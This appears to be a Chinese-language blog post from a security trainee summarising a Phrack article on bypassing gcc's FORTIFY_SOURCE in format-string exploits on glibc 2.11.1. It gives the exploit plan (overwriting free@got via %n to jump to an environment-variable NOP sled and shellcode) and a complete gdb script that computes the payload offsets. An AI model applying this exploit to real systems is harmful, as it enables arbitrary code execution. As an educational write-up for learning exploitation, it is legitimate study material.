A Eulogy for Format Strings - 文章分享

A Eulogy for Format Strings - 文章分享

2018, Feb 09    

目前是台灣好厲駭的學員,我的 Mentor - Tim 推薦我讀 Phrack 裡的文章,有很詳細的操作過程,技術質量很高,雖然文章頗舊,可能會不能用,不過只要花點時間研究一下,改成目前能用的版本也是一種樂趣吧!

簡介

gcc compiler 在編譯時可以加上 FORTIFY_SOURCE 參數,加上後會對程式加入一些安全性檢查,有興趣可以參考這篇。今天分享的這篇文章就是在探討 FORTIFY_SOURCE 對 format string 的影響與如何繞過。原文章連結

環境

  • glibc-2.11.1
  • Ubuntu 10.04 i386

請直接安裝 Ubuntu 10.04 不要自行編譯這個版本的 glibc 除非你想感受絕望

簡報

直接附上簡報,詳細的說明在備忘錄內。

實作

簡報裡面沒有說明太多實作的部份,所以在這邊講一下,完整的 script 我放在最下面。

想法

  • 將要修改的位址變成字串放在 args 裡,讓 %n 讀取到它。
  • 要修改的位址為 glibc 內的 free@got,修改該位址前面 2 Byte,變成 0xbfff****,目的是用來跳到我設定的環境變數,該環境變數為一大堆的 nop 並可以跳去 shellcode。

指令說明

組 payload 的地方是最麻煩的,因為 glibc 裡的 args_type 這個變數會受到 payload 影響,動過 payload 後就要重新計算,所以我寫了一個 get_width 指令。

get_width arg1 [arg2]
第一個參數放目標位址
第二個參數用來設定 args_type
回傳值為須設定的寬度,結果存放在 $ret 變數內。

auto_fit 指令是用來自動計算出 payload
auto_fit 裡我直接寫了一個 r 指令,因為在這個版本的 gdb 直接執行 run 會繼承前一次 run 的參數,所以在 auto_fit 之前要自行將須用到的參數 run 一次。

fix 指令是依照對應的 $eip 去修復 payload

find_deadbeef 是用來尋找 args
也就是 %n 要定位到的地方
使用之前要把欲寫入的位址改成 0xdeadbeef

其他的短短的不太重要 就跳過吧

完整的 gdb script

define get_width
if $argc == 2
set $arg_type = (unsigned int)$arg1
end
set $offset = (unsigned int)$arg0 - (unsigned int)$arg_type
set $remain = $offset % 4
if $remain != 0
printf "can't divisible by 4, remain %d\n", $remain
set $ret = $offset / 4 + 1
printf "%x to %x: %d\n", ($ret - 1) * 4 + $arg_type, ($ret - 1) * 4 + 4 + $arg_type, $ret
set $ret = $ret + 1
printf "%x to %x: %d\n", ($ret - 1) * 4 + $arg_type, ($ret - 1) * 4 + 4 + $arg_type, $ret
else
set $ret = $offset / 4 + 1
print $ret
end
end


define auto_fit
printf "%%%dx%%%d$hn %%1$*%d$x ", $val, $adr_offset
printf "%%1$*%d$x %%1073741824$\n", $fmt_arg, $fmt_flag2
printf "%%%d$p %%1$*%d$x %%1$*%d$x %%1073741824$\n", $adr_offset, $fmt_arg, $fmt_flag2
r
fix
end

define fix
if $eip == vfprintf + 11489
set $flag2_adr = (unsigned int)(&_IO_2_1_stdout_ + 15)
get_width $flag2_adr $ecx
set $fmt_flag2 = $ret
get_width $ebp-0x4bc
set $fmt_arg = $ret
set $tmp = *(int)($ebp - 0x4c4) * 0x34 + *(int)($ebp - 0x4f8) + 0x20
get_width $tmp
set $fmt_extra = $ret
end
end

define searchmem
find /32 /3 0xbffd7000,0xc0000000,$arg0
end

define find_deadbeef
searchmem 0xdeadbeef
set $res = (int)$_ - $ecx
set $adr_offset = $res / 12 + 1
p $res % 12
set $fmt_flag2 += 20000
end

define default_start
r `python -c "print '\x00\x29\x40\x1a'[::-1]"` AAAAAAAAAAAAAAA
end

define show_input
printf "%%%dx%%%d$hn %%1$*%d$x ", $val, $adr_offset
printf "%%1$*%d$x %%1073741824$\n", $fmt_arg, $fmt_flag2
end

set $val = 0xbfff
set $adr_offset = 4845
set $fmt_arg = 13992
set $fmt_flag2 = 269158516
set $fmt_extra = 39

define attach_mod
set $adr_offset = 4842
set $fmt_flag2 = 269158500
end

題外話

上面的 highlight 設定的是 php 語法
意外的挺適合的 (゚∀゚)